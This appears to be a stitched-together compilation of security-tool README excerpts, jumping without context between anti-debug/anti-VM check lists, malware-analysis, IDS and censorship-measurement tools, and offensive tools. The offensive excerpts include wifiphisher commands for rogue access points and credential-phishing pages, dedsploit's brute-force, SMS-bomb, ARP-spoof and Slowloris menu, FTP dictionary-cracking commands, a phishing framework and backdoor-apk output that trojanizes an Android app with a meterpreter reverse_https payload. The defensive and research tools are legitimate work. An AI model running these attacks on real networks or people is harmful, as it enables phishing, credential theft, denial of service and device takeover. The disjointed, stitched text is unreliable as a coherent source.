• You are making an anti-debug plugin and you want to check its effectiveness.
• You want to ensure that your sandbox solution is hidden enough.
• Or you want to ensure that your malware analysis environement is well hidden.

• IsDebuggerPresent
• CheckRemoteDebuggerPresent
• Process Environement Block (BeingDebugged)
• Process Environement Block (NtGlobalFlag)
• ProcessHeap (Flags)
• ProcessHeap (ForceFlags)
• NtQueryInformationProcess (ProcessDebugPort)
• NtQueryInformationProcess (ProcessDebugFlags)
• NtQueryInformationProcess (ProcessDebugObject)
• NtSetInformationThread (HideThreadFromDebugger)
• NtQueryObject (ObjectTypeInformation)
• NtQueryObject (ObjectAllTypesInformation)
• CloseHanlde (NtClose) Invalide Handle
• SetHandleInformation (Protected Handle)
• UnhandledExceptionFilter
• OutputDebugString (GetLastError())
• Hardware Breakpoints (SEH / GetThreadContext)
• Software Breakpoints (INT3 / 0xCC)
• Memory Breakpoints (PAGE_GUARD)
• Interrupt 0x2d
• Interrupt 1
• Parent Process (Explorer.exe)
• SeDebugPrivilege (Csrss.exe)
• NtYieldExecution / SwitchToThread

• Erase PE header from memory
• SizeOfImage

• Sleep -> SleepEx -> NtDelayExecution
• Sleep (in a loop a small delay)
• Sleep and check if time was accelerated (GetTickCount)
• SetTimer (Standard Windows Timers)
• timeSetEvent (Multimedia Timers)
• WaitForSingleObject -> WaitForSingleObjectEx -> NtWaitForSingleObject
• WaitForMultipleObjects -> WaitForMultipleObjectsEx -> NtWaitForMultipleObjects (todo)
• CreateWaitableTimer (todo)
• CreateTimerQueueTimer (todo)
• Big crypto loops (todo)

• Mouse movement
• Total Physical memory (GlobalMemoryStatusEx)
• Disk size using DeviceIoControl (IOCTL_DISK_GET_LENGTH_INFO)
• Disk size using GetDiskFreeSpaceEx (TotalNumberOfBytes)
• Mouse (Single click / Double click) (todo)
• DialogBox (todo)
• Scrolling (todo)
• Execution after reboot (todo)
• Count of processors (Win32/Tinba - Win32/Dyre)
• Sandbox known product IDs (todo)
• Color of background pixel (todo)
• Keyboard layout (Win32/Banload) (todo)

• Registry key value artifacts
  
  • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VBOX)
  • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (QEMU)
  • HARDWARE\Description\System (SystemBiosVersion) (VBOX)
  • HARDWARE\Description\System (SystemBiosVersion) (QEMU)
  • HARDWARE\Description\System (VideoBiosVersion) (VIRTUALBOX)
  • HARDWARE\Description\System (SystemBiosDate) (06/23/99)
  • HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
  • HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
  • HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
• Registry Keys artifacts
  
  • "HARDWARE\ACPI\DSDT\VBOX__"
  • "HARDWARE\ACPI\FADT\VBOX__"
  • "HARDWARE\ACPI\RSDT\VBOX__"
  • "SOFTWARE\Oracle\VirtualBox Guest Additions"
  • "SYSTEM\ControlSet001\Services\VBoxGuest"
  • "SYSTEM\ControlSet001\Services\VBoxMouse"
  • "SYSTEM\ControlSet001\Services\VBoxService"
  • "SYSTEM\ControlSet001\Services\VBoxSF"
  • "SYSTEM\ControlSet001\Services\VBoxVideo"
  • SOFTWARE\VMware, Inc.\VMware Tools
  • SOFTWARE\Wine
• File system artifacts
  
  • "system32\drivers\VBoxMouse.sys"
  • "system32\drivers\VBoxGuest.sys"
  • "system32\drivers\VBoxSF.sys"
  • "system32\drivers\VBoxVideo.sys"
  • "system32\vboxdisp.dll"
  • "system32\vboxhook.dll"
  • "system32\vboxmrxnp.dll"
  • "system32\vboxogl.dll"
  • "system32\vboxoglarrayspu.dll"
  • "system32\vboxoglcrutil.dll"
  • "system32\vboxoglerrorspu.dll"
  • "system32\vboxoglfeedbackspu.dll"
  • "system32\vboxoglpackspu.dll"
  • "system32\vboxoglpassthroughspu.dll"
  • "system32\vboxservice.exe"
  • "system32\vboxtray.exe"
  • "system32\VBoxControl.exe"
  • "system32\drivers\vmmouse.sys"
  • "system32\drivers\vmhgfs.sys"
• Directories artifacts
  
  • "%PROGRAMFILES%\oracle\virtualbox guest additions\"
  • "%PROGRAMFILES%\VMWare\"

• MAC Address
  
  • "\x08\x00\x27" (VBOX)
  • "\x00\x05\x69" (VMWARE)
  • "\x00\x0C\x29" (VMWARE)
  • "\x00\x1C\x14" (VMWARE)
  • "\x00\x50\x56" (VMWARE)
• Virtual devices
  
  • "\\.\VBoxMiniRdrDN"
  • "\\.\VBoxGuest"
  • "\\.\pipe\VBoxMiniRdDN"
  • "\\.\VBoxTrayIPC"
  • "\\.\pipe\VBoxTrayIPC")
  • "\\.\HGFS"
  • "\\.\vmci"
• Hardware Device information
  
  • SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE)
    • QEMU
    • VMWare
    • VBOX
    • VIRTUAL HD
• Adapter name
  
  • VMWare
• Windows Class
  
  • VBoxTrayToolWndClass
  • VBoxTrayToolWnd
• Network shares
  
  • VirtualBox Shared Folders
• Processes
  
  • vboxservice.exe (VBOX)
  • vboxtray.exe (VBOX)
  • vmtoolsd.exe (VMWARE)
  • vmwaretray.exe (VMWARE)
  • vmwareuser (VMWARE)
  • vmsrvc.exe (VirtualPC)
  • vmusrvc.exe (VirtualPC)
  • prl_cc.exe (Parallels)
  • prl_tools.exe (Parallels)
  • xenservice.exe (Citrix Xen)
• WMI
  
  • SELECT * FROM Win32_Bios (SerialNumber) (VMWARE)
  • SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)
  • SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)
  • SELECT * FROM Win32_NTEventlogFile (VBOX)
  • SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)
  • SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)
• DLL Exports and Loaded DLLs
  
  • kernel32.dll!wine_get_unix_file_nameWine (Wine)
  • sbiedll.dll (Sandboxie)
  • dbghelp.dll (MS debugging support routines)
  • api_log.dll (iDefense Labs)
  • dir_watch.dll (iDefense Labs)
  • pstorec.dll (SunBelt Sandbox)
  • vmcheck.dll (Virtual PC)
  • wpespy.dll (WPE Pro)

• Processes
  • OllyDBG / ImmunityDebugger / WinDbg / IDA Pro
  • SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)
  • Wireshark / Dumpcap
  • ProcessHacker / SysAnalyzer / HookExplorer / SysInspector
  • ImportREC / PETools / LordPE
  • JoeBox Sandbox

• CreateRemoteThread
• SetWindowsHooksEx
• NtCreateThreadEx
• RtlCreateUserThread
• APC (QueueUserAPC / NtQueueApcThread)
• RunPE (GetThreadContext / SetThreadContext)

• mrexodia : Main developer of x64dbg

• An Anti-Reverse Engineering Guide By Josh Jackson.
• Anti-Unpacker Tricks By Peter Ferrie.
• The Art Of Unpacking By Mark Vincent Yason.
• Walied Assar's blog http://waleedassar.blogspot.de/
• Pafish tool: https://github.com/a0rtega/pafish

• Automated downloading, parsing, state modification and rule modification for all of your snort rulesets.
• Checksum verification for all major rule downloads
• Automatic generation of updated sid-msg.map file
• Capability to include your local.rules in sid-msg.map file
• Capability to pull rules tarballs from custom urls
• Complete Shared Object support
• Complete IP Reputation List support
• Capability to download multiple disparate rulesets at once
• Maintains accurate changelog
• Capability to HUP processes after rules download and process
• Aids in tuning of rulesets
• Verbose output so that you know EXACTLY what is happening
• Minimal Perl Module dependencies
• Support for Suricata, and ETOpen/ETPro rulesets
• A sweet smokey flavor throughout the pork!

Usage: ./pulledpork.pl [-dEgHklnRTPVvv? -help] -c <config filename> -o <rule output path>
   -O <oinkcode> -s <so_rule output directory> -D <Distro> -S <SnortVer>
   -p <path to your snort binary> -C <path to your snort.conf> -t <sostub output path>
   -h <changelog path> -I (security|connectivity|balanced) -i <path to disablesid.conf>
   -b <path to dropsid.conf> -e <path to enablesid.conf> -M <path to modifysid.conf>
   -r <path to docs folder> -K <directory for separate rules files>

Options:

-help/? Print this help info.

-b Where the dropsid config file lives.

-C Path to your snort.conf

-c Where the pulledpork config file lives.

-d Do not verify signature of rules tarball, i.e. downloading fron non VRT or ET locations.

-D What Distro are you running on, for the so_rules
   Valid Distro Types:
     Debian-6-0, Ubuntu-10-4, Ubuntu-12-04, Centos-5-4
     FC-12, FC-14, RHEL-5-5, RHEL-6-0
     FreeBSD-8-1, FreeBSD-9-0, FreeBSD-10-0, OpenBSD-5-2, OpenBSD-5-3
     OpenSUSE-11-4, OpenSUSE-12-1, Slackware-13-1   

-e Where the enablesid config file lives.

-E Write ONLY the enabled rules to the output files.

-g grabonly (download tarball rule file(s) and do NOT process)

-h path to the sid_changelog if you want to keep one?

-H Send a SIGHUP to the pids listed in the config file

-I Specify a base ruleset( -I security,connectivity,or balanced, see README.RULESET)

-i Where the disablesid config file lives.

-k Keep the rules in separate files (using same file names as found when reading)

-K Where (what directory) do you want me to put the separate rules files?

-l Log Important Info to Syslog (Errors, Successful run etc, all items logged as WARN or higher) 

-L Where do you want me to read your local.rules for inclusion in sid-msg.map

-m where do you want me to put the sid-msg.map file?

-M where the modifysid config file lives.

-n Do everything other than download of new files (disablesid, etc)

-o Where do you want me to put generic rules file?

-p Path to your Snort binary

-P Process rules even if no new rules were downloaded

-R When processing enablesid, return the rules to their ORIGINAL state

-r Where do you want me to put the reference docs (xxxx.txt)

-S What version of snort are you using

-s Where do you want me to put the so_rules?

-T Process text based rules files only, i.e. DO NOT process so_rules

-u Where do you want me to pull the rules tarball from
** E.g., ET, Snort.org. See pulledpork config rule_url option for value ideas

-V Print Version and exit

-v Verbose mode, you know.. for troubleshooting and such nonsense.

-vv EXTRA Verbose mode, you know.. for in-depth troubleshooting and other such nonsense.

-w Skip the SSL verification (if there are issues pulling down rule files)

-W Where you want to work around the issue where some implementations of LWP do not work with pulledpork's proxy configuration.

./pulledpork.pl -o /usr/local/etc/snort/rules/ -O 12345667778523452344234234  \
  -u http://www.snort.org/reg-rules/snortrules-snapshot-2973.tar.gz -i disablesid.conf -T -H

./pulledpork.pl -c pulledpork.conf -i disablesid.conf -T -H

./pulledpork.pl -c pulledpork.conf -i disablesid.conf -m /usr/local/etc/snort/sid-msg.map -Hn

./pulledpork.pl -c pulledpork.conf -i disablesid.conf -b dropsid.conf -m /usr/local/etc/snort/sid-msg.map \
  -h /var/log/sid_changes.log -H

./pulledpork.pl -c pulledpork.conf -i disablesid.conf -b dropsid.conf -e enablesid.conf -m /usr/local/etc/snort/sid-msg.map \
  -h /var/log/sid_changes.log -I security -H

./pulledpork.pl -c pulledpork.conf -i disablesid.conf -b dropsid.conf -e enablesid.conf -m /usr/local/etc/snort/sid-msg.map \
  -h /var/log/sid_changes.log -I security -H -K /usr/local/etc/snort/rules/

./pulledpork.pl -c pulledpork.conf -S suricata-3.1.3

• Pyew Written in Python, it supports analysis of PE, ELF, Bios and Boot files for x86 or x86_64.
• IDA Written in C++. It supports analysing a plethora of executable types that you probably never even heard about. Commercial product.
• Radare2 Written in pure C. Same as with IDA, with support for extremely rare CPUs and binary formats. Also, it's open source!

$ cd $COSA_NOSTRA_DIR
$ python r2_batch.py example.exe

$ cd $COSA_NOSTRA_DIR
$ python pyew_batch.py example.exe

$ cd $COSA_NOSTRA_DIR
$ /path/to/idaq -B -A -Sida_batch.py example.exe

$ find /your/malware/dataset/path -type f -exec python r2_batch.py {} ';'

$ find /your/malware/dataset/path -type f | parallel -j 8 python pyew_batch.py {}

$ cat config.cfg 
########################################################################
# Configuration for SQLite3
########################################################################
[database]
dbn=sqlite
# Database name
db=db.sqlite

########################################################################
# Example configuration for MySQL
########################################################################

[database]
dbn=mysql
# Database hostname or IP address
host=localhost
# Database name
db=db_name
# Database username
user=username
# Database password
pw=password

$ cd $COSA_NOSTRA_DIR
$ ./cn_clusterer.py
(...)
Calculating difference matrix for 2357, iteration 5540280 out of 7507600 (4858784 matches, 600144 cache misses)
Calculating difference matrix for 2354, iteration 5543020 out of 7507600 (4861293 matches, 600373 cache misses)
Calculating difference matrix for 471, iteration 5545760 out of 7507600 (4863903 matches, 600373 cache misses)
(...)
Making tree for group with 59 sample(s), iteration 0 out of 256
Making tree for group with 393 sample(s), iteration 1 out of 256
Making tree for group with 1347 sample(s), iteration 2 out of 256
(...)
[Wed Nov  2 13:37:12 2016 2830:140561185462080] Creating unnamed cluster...
[Wed Nov  2 13:37:12 2016 2830:140561185462080] Creating cluster with name u'Win.Trojan.Skylock-4'...
[Wed Nov  2 13:37:12 2016 2830:140561185462080] Creating cluster with name u'Win.Downloader.133181-1'...
[Wed Nov  2 13:37:12 2016 2830:140561185462080] Creating cluster with name u'Win.Trojan.Agent-1213378'...
[Wed Nov  2 13:37:13 2016 2830:140561185462080] Done processing phylogenetic trees!
[Wed Nov  2 13:37:13 2016 2830:140561185462080] Done

$ cd $COSA_NOSTRA_DIR
$ python cosa_nostra.py [optional port to listen to]
http://0.0.0.0:YOURPORT/

$ cat config.py
#!/usr/bin/env python

#-----------------------------------------------------------------------
# Configuration for Cosa Nostra
#-----------------------------------------------------------------------
DEBUG=False
CN_USER="admin"
# SHA1 hash of the password "cosanostra", change to the SHA1 hash of
# whatever password you prefer.
CN_PASS="048920dedfe36c112d74dc8108abb4db5185a918"
(...)

• Samples: See the samples in the current database.
• Clusters: See the list of clusters that Cosa Nostra found for the given datasets.

• PhishingFrenzy (https://github.com/pentestgeek/phishing-frenzy)
• BeEF (https://github.com/beefproject/beef)

• MySQL root user: phishlulz_mysql
• PhishingFrenzy admin user: phishlulz_frenzy
• BeEF beef user: phishlulz_beef

• phish_lulz: main script to start/stop phishing instances
• tools/find_resources: multi-threaded subdomain discovery and fingerprinting tool
• tools/mailboxbug: multi-threaded webmail data extruder
• tools/mail_parser: simple script to extract html/txt from an .eml email file
• namecheap_wrapper: WIP for automated domain registration

• Amazon AWS account (see main config.yaml)
• Non-Winzozz OS (path separators are hardcoded on purpose to don't make it compatible with Winzozz)
• ssh, scp, openssl in PATH
• Sane Ruby environment (RVM suggested). Install the required gems with: gem install sinatra thin watir-webdriver headless colorize datamapper dm-sqlite-adapter dm-timestamps dm-migrations fog nokogiri mail net-ssh --no-rdoc --no-ri
• Gecko/Chrome drivers

I don't look back anymore. I don't regret. I look forward

Yes, Watch Dogs has heavily influenced us when writing this framework. This entire project brought upon a lot of the ideals from the Watch Dogs franchise, and even actual hacking culture, to life. This framework aims to exploit and attack some common every-day vulnerabilities, whether it is a misconfiguration of a SSH server, or even the utilization of apache2 as a web server, which could be subjected to malicious Slowloris DoS attacks.

main
|
+--SSH
|    +--
|       |- bruteforce - bruteforce vulnerable SSH server
|
+--SMTP
|     +--
|        | - bruteforce - bruteforce SMTP address (aka email)
|        |
|        | - smsbomb - utilizes smtp-to-email gateway to spam SMS messages
|
+--HTTP
|      +--
|         | - arpspoof - MITM where user fakes ARP messages on LAN, intercepting packets from host
|         |
|         | - slowloris - Layer-7 DoS attack using slow headers and malformed GET requests to a vulnerable web server
|
+--Recon
|       +--
|          | - pscan - port scan with Nmap
|          |
|          | - hosts - scan for active hosts
|
+------

git clone https://github.com/ex0dus-0x/dedsploit

cd /path/to/dedsploit
sudo python installer.py

dedsploit

• if on macOS follow the directions given at the end.

"The Net interprets censorship as damage and routes around it."

• John Gilmore; TIME magazine (6 December 1993)

gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
echo 'deb http://deb.torproject.org/torproject.org jessie main' | sudo tee /etc/apt/sources.list.d/ooniprobe.list
sudo apt-get update
sudo apt-get install ooniprobe deb.torproject.org-keyring

gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
echo 'deb http://deb.torproject.org/torproject.org testing main' | sudo tee /etc/apt/sources.list.d/ooniprobe.list
sudo apt-get update
sudo apt-get install ooniprobe deb.torproject.org-keyring

gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
echo 'deb http://deb.torproject.org/torproject.org unstable main' | sudo tee /etc/apt/sources.list.d/ooniprobe.list
sudo apt-get update
sudo apt-get install ooniprobe deb.torproject.org-keyring

gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
echo 'deb http://deb.torproject.org/torproject.org $RELEASE main' | sudo tee /etc/apt/sources.list.d/ooniprobe.list
sudo apt-get update
sudo apt-get install ooniprobe deb.torproject.org-keyring

brew install ooniprobe

• build-essential
• python (>=2.7)
• python-dev
• pip
• libgeoip-dev
• libdumbnet-dev
• libpcap-dev
• libssl-dev
• libffi-dev
• tor (>=0.2.5.1 to run all the tor related tests)

• obfs4proxy

sudo apt-get install -y build-essential libdumbnet-dev libpcap-dev libgeoip-dev libffi-dev python-dev python-pip tor libssl-dev obfs4proxy

sudo pip install ooniprobe

pip install ooniprobe

wget https://raw.githubusercontent.com/TheTorProject/ooni-probe/master/scripts/systemd/ooniprobe.service --directory-prefix=/etc/systemd/system
systemctl enable ooniprobe
systemctl start ooniprobe

● ooniprobe.service - ooniprobe.service, network interference detection tool
   Loaded: loaded (/etc/systemd/system/ooniprobe.service; enabled)
   Active: active (running) since Thu 2016-10-20 09:17:42 UTC; 16s ago
   Process: 311 ExecStart=/usr/local/bin/ooniprobe-agent start (code=exited, status=0/SUCCESS)
   Main PID: 390 (ooniprobe-agent)
   CGroup: /system.slice/ooniprobe.service
└─390 /usr/bin/python /usr/local/bin/ooniprobe-agent start

setcap cap_net_admin,cap_net_raw+eip /path/to/your/virtualenv's/python2

git clone https://github.com/TheTorProject/ooni-probe.git

git format-patch master --stdout > my_first_ooniprobe.patch

sudo apt-get install python-pip python-virtualenv virtualenv
sudo apt-get install libgeoip-dev libffi-dev libdumbnet-dev libssl-dev libpcap-dev
git clone https://github.com/TheTorProject/ooni-probe
cd ooni-probe
virtualenv venv

source venv/bin/activate
pip install -r requirements.txt
pip install -r requirements-dev.txt
python setup.py install
ooniprobe -s  # if all went well, lists available tests

# perl filebuster.pl -u http://yoursite.com/get{fuzz}.asp -w /path/to/wordlist.txt -p ^pag

• The already mentioned Regex patterns
• Supports HTTP/HTTPS/SOCKS proxy
• Allows for multiple wordlists using wildcards
• Additional file extensions
• Adjustable timeouts and retries
• Adjustable delays / throttling
• Hide results based on HTTP code, length or words in headers or body
• Support for custom cookies
• Support for custom headers
• Supports multiple versions of the TLS protocol
• Automatic TTY detection
• Recursive scans
• Integrated wordlists

# cpan install YAML Furl Switch Benchmark Cache::LRU Net::DNS::Lite List::MoreUtils IO::Socket::SSL URI::Escape HTML::Entities IO::Socket::Socks::Wrapper

# ln -s /path/to/filebuster.pl /usr/local/bin/filebuster

# perl filebuster.pl -u http://yoursite.com/ -w /path/to/wordlist.txt

# perl filebuster.pl -u http://yoursite.com/{fuzz}.jsp -w /path/to/wordlist.txt -t 3 -x http://127.0.0.1:8080 --hs "Error"

# perl filebuster.pl -u http://yoursite.com/ -w wordlists/normal.txt

• Free tool to recover the lost or Forgotten FTP password
• Remotely recover your password for any FTP server
• Option to specify non-standard FTP port
• Automatically detects any Anonymous users
• Uses siimple & quicker Dictionary Crack method
• Includes password dictionary file having common FTP passwords
• Copies the recovered FTP password to clipboard
• Includes Installer for local Installation & Uninstallation

FTPPasswordRecovery.exe -i <ipaddress> -p <port> -u <username> -f <passlist_file>

// Perform FTP Password Recovery using Password List file
FTPPasswordRecovery.exe -i "192.168.1.1" -p 21 -u "administrator" -f "c:\passlist.txt"

• Shells detect by filename using shells signature database.
• Recognition of web back-doors.
• Detect the use of suspicious PHP functions and activities.
• Use of external services beside its functionalities.
• Use of nimbusec shellray API (free online webshell detect for PHP files https://shellray.com ).
  • Very high recognition performance for webshells.
  • Check suspicious PHP files online.
  • Easy, fast and reliable.
  • Classification for webshells with behavior classification.
  • Free service of nimbusec.
• Use of VirusTotal Public API (free online service that analyzes files and facilitates the quick detection of viruses, worms, trojans and all kinds of malware), it can be useful in our situation.
• Use of UnPHP (The online PHP decoder: UnPHP is a free service for analyzing obfuscated and malicious PHP code) www.unphp.net . Very useful in our situation.
  • Eval + gzinflate + Base64.
  • Recursive De-Obfuscating.
  • Custom Function and Regex Support.

• requests module

Usage: BackdoorMan [options] destination1 [destination2 ...]

A toolkit that helps you find malicious, hidden and suspicious PHP scripts and shells in a chosen destination.
Author: Yassine Addi <yassineaddi.dev(at)gmail(dot)com>.
NOTE: This tool does not require Internet connection but it is highly recommended to benefit from all features.

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -o OUTPUT, --output=OUTPUT
                        save output in a file
  --no-color            do not use colors in the output
  --no-info             do not show file information
  --no-apis             do not use APIs during scan (not recommended)

v1.0.0    - 1st release <https://github.com/yassineaddi/PHP-backdoor-detector>.
v2.0.0    - rename software to `BackdoorMan`.
          - improve external services (APIs).
          - separate databases from main script.
          - lot of improvements (compare with 1st release).
v2.1.0    - separate script to classes to optimize the software.
v2.2.0    - add `Servicer` class.
          - rename classes.
          - add `--no-color` option.
          - add `--no-external-services` option.
          - add `--no-file-info` option.
          - improve `Reporter` class.
          - improve software interface.
          - small improvements.
          - remove single-line and multi-line comments before scanning.
          - add `--force` option.
          - add UnPHP API.
          - improve `activities.txt` database.
v2.2.1    - modify comments.
v2.3.1    - use of custom parser instead of reg-ex to detect backticks (execution operator)
            due to false positives.
          - improved report class.
          - separate functions and activities to low, medium and high...
          - rename options.
          - add `-o, --output` option.
          - add/modify comments.

git clone https://github.com/mseclab/PyJFuzz.git && cd PyJFuzz && sudo python setup.py install

from pyjfuzz.lib import *

• PJFServer - User to start and stop built-in HTTP and HTTPS servers
• PJFProcessMonitor - Used to monitor process crash, it will automatically restart proccess each time it crash
• PJFTestcaseServer - The testcase server is used in conjunction with PJFProcessMonitor, whenever a process crash the testcase server will register and store the JSON which cause the crash
• PJFFactory - It's the main object used to do the real fuzz of JSON objects
• PJFConfiguration - It's the configuration file for each of the available objects
• PJFExternalFuzzer - Used by PJFactory is a auxiliary class which provide an interface to other command line fuzzer such as radamsa
• PJFMutation - Used by PJFFactory provide all the mutation used during fuzzing session
• PJFExecutor - Provides an interface to interact with external process

from argparse import Namespace
from pyjfuzz.lib import *

config = PJFConfiguration(Namespace(json={"test": ["1", 2, True]}, nologo=True, level=6))
fuzzer = PJFFactory(config)
while True:
    print fuzzer.fuzzed

from argparse import Namespace
from pyjfuzz.lib import *

config = PJFConfiguration(Namespace(json={"test": ["1", 2, True]}, nologo=True, level=6, debug=True, indent=True))
PJFServer(config).run()

from argparse import Namespace
from pyjfuzz.lib import *

config = PJFConfiguration(Namespace(json={"test": ["1", 2, True]}, nologo=True, level=6, indent=True))
print config.ports["servers"]["HTTP_PORT"]   # 8080
print config.ports["servers"]["HTTPS_PORT"]  # 8443
print config.ports["servers"]["TCASE_PORT"]  # 8888
config.ports["servers"]["HTTPS_PORT"] = 443  # Change HTTPS port to 443

1. Victim is being deauthenticated from her access point . Wifiphisher continuously jams all of the target access point's wifi devices within range by forging “Deauthenticate” or “Disassociate” packets to disrupt existing associations.
2. Victim joins a rogue access point . Wifiphisher sniffs the area and copies the target access point's settings. It then creates a rogue wireless access point that is modeled by the target. It also sets up a NAT/DHCP server and forwards the right ports. Consequently, because of the jamming, clients will eventually start connecting to the rogue access point. After this phase, the victim is MiTMed.
3. Victim is being served a realistic specially-customized phishing page . Wifiphisher employs a minimal web server that responds to HTTP & HTTPS requests. As soon as the victim requests a page from the Internet, wifiphisher will respond with a realistic fake page that asks for credentials or serves malwares. This page will be specifically crafted for the victim. For example, a router config-looking page will contain logos of the victim's vendor. The tool supports community-built templates for different phishing scenarios.

Performing MiTM attack

• Kali Linux. Although people have made Wifiphisher work on other distros, Kali Linux is the officially supported distribution, thus all new features are primarily tested on this platform.
• One wireless network adapter that supports AP mode. Drivers should support netlink.
• One wireless network adapter that supports Monitor mode and is capable of injection. Again, drivers should support netlink. If a second wireless network adapter is not available, you may run the tool with the --nojamming option. This will turn off the de-authentication attack though.

git clone https://github.com/sophron/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies (Currently, hostapd, PyRIC, jinja2) 

wifiphisher -aI wlan0 -jI wlan4 -p firmware-upgrade

wifiphisher --essid CONFERENCE_WIFI -p plugin_update -pK s3cr3tp4ssw0rd

wifiphisher --nojamming --essid "FREE WI-FI" -p oauth-login

Targeting an access point

A successful attack

Fake router configuration page

Fake OAuth Login Page

• Authors do not own the logos under the wifiphisher/data/ directory. Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for "fair use" for purposes such as criticism, comment, news reporting, teaching, scholarship, and research.
  
• Usage of Wifiphisher for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. 

In this example we are using " HTML tag" to inject an rediretion url in target request In this example we are using 'CSS3' to trigger webpage 180º rotation

5º - incorrect number of token (///) in TARGET !!    

6º - morpheus needs ettercap to be executed with higth privileges (uid 0 | gid 0).
correct ettercap configuration display (running as Admin without ssl disectors active)

ettercap, nmap, apache2, zenity

firewall [option 1] pre-configurated filter will capture credentials from the follow services:
http,ftp,ssh,telnet (facebook uses https/ssl :( ) report suspicious connections, report common
websocial browsing (facebook,twitter,youtube), report the existence of botnet connections like:
Mocbot IRC Bot, Darkcomet, redirect browser traffic and allow users to block connections (drop,kill) 
"Remmenber: morpheus gives is users the ability to 'add more rules' to filters befor execution"

[morpheus] host:192.168.1.67   [ -> ]  port:23 telnet  ☆
           Source ip addr      flow    destination     rank good

[morpheus] host:192.168.1.67   [ <- ]  port:23 telnet  ☠
           Destination ip      flow    source port     rank suspicious

Basically firewall filter will act like one offensive and defensive tool analyzing the
tcp/udp data flow to report logins,suspicious traffic,brute-force,block target ip,etc.

• Optimized delivery & execution of commands.
• Has all msf commands implemented even future ones. This is possible through the structure of the rpc api.
• Browse through your command history with the up and down arrow key.
• Tab completion for system paths.
• It feels like the normal msfconsole!

[*] Connecting to server:
 Host => myDomain.com,
 Port => 55553,
 User => msf,
 Pwd => ***,
 SSL => True

[+] Successfully connected
[*] Console id: 19
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.12.22-dev-52b81f3                 ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]


msf > 

Options:
  -h, --help            show this help message and exit
  -r RESOURCE, --resource=RESOURCE
                        Path to resource file
  -u USERNAME, --user=USERNAME
                        Username specified on msfrpcd
  -p PASSWORD, --pass=PASSWORD
                        Password specified on msfrpcd
  -s, --ssl             Enable ssl
  -P PORT, --port=PORT  Port to connect to
  -H HOST, --host=HOST  Server ip
  -c, --credentials     Use hardcoded credentials
  -e, --exit            Exit after executing resource script

python Main.py -c -r /root/resource/handler/allHandlers.rc

python Main.py --ssl --port 55553 --host 127.0.0.1 --user msf --pass msf

git clone https://github.com/allfro/pymetasploit.git pymetasploit
cd pymetasploit && sudo python setup.py install

cd metasploit-framework/
ruby msfrpcd -U msf -P msf -p 55553

sudo update-rc.d postgresql enable
sudo service postgresql start
echo "create database msf;create user msf with password 'password';grant all privileges on database msf to msf;" > createdb_sql.txt
sudo -u postgres /usr/bin/psql < /home/postgres/createdb_sql.txt

db_connect msf:password@127.0.0.1/msf

root@kali:~/Android/evol-lab/BaiduBrowserRat# ./backdoor-apk.sh BaiduBrowser.apk
          ________
         / ______ \
         || _  _ ||
         ||| || |||          AAAAAA   PPPPPPP   KKK  KKK
         |||_||_|||         AAA  AAA  PPP  PPP  KKK KKK
         || _  _o|| (o)     AAA  AAA  PPP  PPP  KKKKKK
         ||| || |||         AAAAAAAA  PPPPPPPP  KKK KKK
         |||_||_|||         AAA  AAA  PPP       KKK  KKK
         ||______||         AAA  AAA  PPP       KKK  KKK
        /__________\
________|__________|__________________________________________
       /____________\
       |____________|            Dana James Traversie

[*] Running backdoor-apk.sh v0.1.7 on Wed Nov 30 22:30:34 EST 2016
[+] Android payload options:
1) meterpreter/reverse_http   4) shell/reverse_http
2) meterpreter/reverse_https  5) shell/reverse_https
3) meterpreter/reverse_tcp    6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Decompiling original APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Running proguard on RAT APK file...done.
[*] Decompiling obfuscated RAT APK file...done.
[*] Creating new directories in original project for RAT smali files...done.
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
